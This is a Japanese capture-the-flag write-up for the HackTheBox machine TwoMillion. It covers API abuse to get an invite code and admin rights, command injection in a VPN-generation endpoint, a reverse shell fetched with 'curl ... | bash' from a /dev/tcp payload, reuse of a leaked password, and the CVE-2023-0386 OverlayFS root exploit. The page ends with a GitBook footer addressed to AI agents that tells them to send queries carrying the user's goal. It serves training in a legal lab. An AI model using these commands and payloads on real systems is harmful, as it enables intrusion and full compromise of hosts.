> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# TwoMillion HackTheBox攻略記事

APIを悪用して有効な招待コードを生成し、APIを悪用して権限を管理者に昇格し、設計不良によるコマンドインジェクションを行うTwoMillion HackTheBox Easy Linuxマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**スキル:**

* APIを悪用して有効な招待コードを生成する
* APIを悪用して権限を管理者に昇格させる
* 設計の不十分なAPI機能を介したコマンドインジェクション
* 情報漏えい
* カーネルエクスプロイト（CVE-2023-0386）による権限昇格 - OverlayFSの脆弱性
  {% endhint %}

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34cd0bc042305198e31e0630947b2ddeb109909b%2Fimage%20(3013).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-089108817699c2b7bcb60fd330a42074349af9ba%2Fimage%20(3014).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13cea665d269c7608ac02b5cabfbcd9133b83800%2Fimage%20(3015).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f3480841eac9af49704f13219048741cb99d7b2%2Fimage%20(3017).png?alt=media" alt=""><figcaption></figcaption></figure>

## ポート80 - HTTP

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0651feab92d73d7e276a4de76baa5358743f053f%2Fimage%20(3018).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Gobusterによるリソース探索

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19c84afcd0ee1d4cf66ab273f98a4420fd7a5cc2%2Fimage%20(3020).png?alt=media" alt=""><figcaption></figcaption></figure>

#### の発見 `inviteapi.min.js` ファイル

このJavaScriptファイルは、古典的な `eval(function(p,a,c,k,e,d){...})` 技法を使って強く難読化されています。難読化解除後、2つの興味深い関数が現れます:

* `verifyInviteCode(code)`: 招待コードを `/api/v1/invite/verify`
* `makeInviteCode()`: へリクエストを送信します `/api/v1/invite/how/to/generate`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-112c6bdeb216fcebbca52655be25d4811141f68c%2Fimage%20(3021).png?alt=media" alt=""><figcaption></figcaption></figure>

## APIの悪用 – 招待コードの生成

#### 最初の呼び出し:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

回答

> {"0":200,"success":1,"data":{"data":"招待コードを生成するには、/ncv/i1/vaivgr/trarengr へPOSTリクエストを送る必要があります","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}#

#### ROT13の復号 → 新しいURL:

{% embed url="<https://rot13.com/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f558d9e129d97665eb32de32a898d4060e3b07f6%2Fimage%20(3022).png?alt=media" alt=""><figcaption></figcaption></figure>

招待コードを生成するには、/api/v1/invite/generate にPOSTリクエストを送信します

#### リクエスト:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c4a574ce3457de6c85bd2fc9cd813ca88dba62e%2Fimage%20(3023).png?alt=media" alt=""><figcaption></figcaption></figure>

レスポンス（base64）:

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

デコード：

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

このコードを使ってサイト上でアカウントを作成します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4f146845897d80482d99bc27a724e45231f2670%2Fimage%20(3024).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-876ec3e051d8f699ccc336fcabe1ad8fced1017f%2Fimage%20(3025).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>

## HackTheBox APIの悪用

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6194da0687daa4b3a4a82730c939231a3ce587b%2Fimage%20(3026).png?alt=media" alt=""><figcaption></figcaption></figure>

#### APIの観察

にアクセスすることで `/api`、利用可能なルートを確認できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443a959d8295d8b483443b8e4fbcc67a8bb5fa29%2Fimage%20(3027).png?alt=media" alt=""><figcaption></figcaption></figure>

#### VPN設定の生成を試行（初回失敗）

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

回答: 許可されていません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-159a880e6902c03f848e0458eee04e8355929590%2Fimage%20(458).png?alt=media" alt=""><figcaption></figcaption></figure>

#### API経由でロールを変更する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f3b7ad34ca7fd589d797fb7e2b54d9d163d5f4e%2Fimage%20(459).png?alt=media" alt=""><figcaption></figcaption></figure>

次のルートでユーザー設定の変更を試します:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Missing parameter: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Missing parameter: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> 回答:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9bf1e39d8b38e84ce3b20af07c73c362c793247%2Fimage%20(460).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 管理者ステータスの確認

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b261100f7104024b6a36227120b12357c8e82dfd%2Fimage%20(461).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### コマンドインジェクションによるRCE

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c051f2edfa608a43955602a3bfa7b2412557b8c8%2Fimage%20(462).png?alt=media" alt=""><figcaption></figcaption></figure>

フィールドへのコマンド注入を試みる `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31845f9173de41ba756a102a08e4f4023902332%2Fimage%20(463).png?alt=media" alt=""><figcaption></figcaption></figure>

#### リバースシェル

1. **ファイルサーバー**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **netcat待機中**

```bash
nc -nvlp 443
```

3. **コマンドを送信**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

リバースシェルを取得します

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be97c8f5e23d34a2a7fa0da58756df54b955d269%2Fimage%20(464).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

#### 機密ファイルの発見

シェルからアクセスできるファイルを検索すると、隠された `.env` データベースの認証情報を含むファイルを発見します:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7678c0b91aa2752671ba3902968bfcdfc2327e%2Fimage%20(465).png?alt=media" alt=""><figcaption></figcaption></figure>

さらに、次の名前の別のユーザーの存在にも気づきます `admin`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7268549e4e779a3da76c3746d4b62aefbbe299ed%2Fimage%20(466).png?alt=media" alt=""><figcaption></figcaption></figure>

#### パスワードの再利用

発見した認証情報を試すことで、システムユーザー `admin` が **同じパスワード** をデータベースのパスワードとして使っていることが分かります。

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80516a906d4b5764d9b470b83cfb4f1647b7f56d%2Fimage%20(467).png?alt=media" alt=""><figcaption></figcaption></figure>

この悪い慣習によって、私たちは **SSH接続**:

#### システムメール

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-576193ef8aa3db9b9449d2ffa04e2a8eb12317f7%2Fimage%20(470).png?alt=media" alt=""><figcaption></figcaption></figure>

接続時に、ある **新しいメール**の存在を知らせるメッセージが表示されます。読むと、重要な情報を得られます:

> やあ、管理者へ、
>
> DB移行をできるだけ早く進めているのは分かっています。部分的に停止している間に、WebホストのOSもアップグレードしてもらえますか？ 今年はすでに深刻なLinuxカーネルCVEがいくつかあります。OverlayFS / FUSE のあれは危険そうです。あれで侵入されるわけにはいきません。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a5f16166613f7348ebb66ab704dd06ade49da50%2Fimage%20(471).png?alt=media" alt=""><figcaption></figcaption></figure>

このメッセージは私たちを **OverlayFSの既知の脆弱性**:/ **CVE-2023-0386** へと導きます – Linuxカーネルのローカル権限昇格脆弱性です。

## CVE-2023-0386の悪用 - OverlayFS権限昇格

> OverlayFSはファイルシステムを重ね合わせることができます。Linuxカーネルの一部のバージョンでは、不十分な容量管理により、権限のないユーザーが **root権限**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**手順**

1. **エクスプロイトをクローンする** をローカルマシンで実行します:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **コンパイルしたファイルを転送する** ターゲットマシンへ（`scp`, `python -m http.server`など）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8cca90a849306f4f0a7db9df6dcbf1e4c394f2%2Fimage%20(472).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965ce4a410b32a3dc104a4e90c1ba99e99addef4%2Fimage%20(473).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **ターゲットマシン上で**、で実行します **2つのターミナル**:

* ターミナルA:

```bash
./fuse ./ovlcap/lower ./gc
```

* ターミナルB:

```bash
./exp
```

順調にいけば、私たちは **root** シェル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8413db904be40722f9ab728b8f41a4a60b80e696%2Fimage%20(474).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe8e0a72ad619012070779b5b798c837c8943863%2Fimage%20(475).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3ffc7312937ff11804821ebec1aa1f3b047f49d%2Fimage%20(468).png?alt=media" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
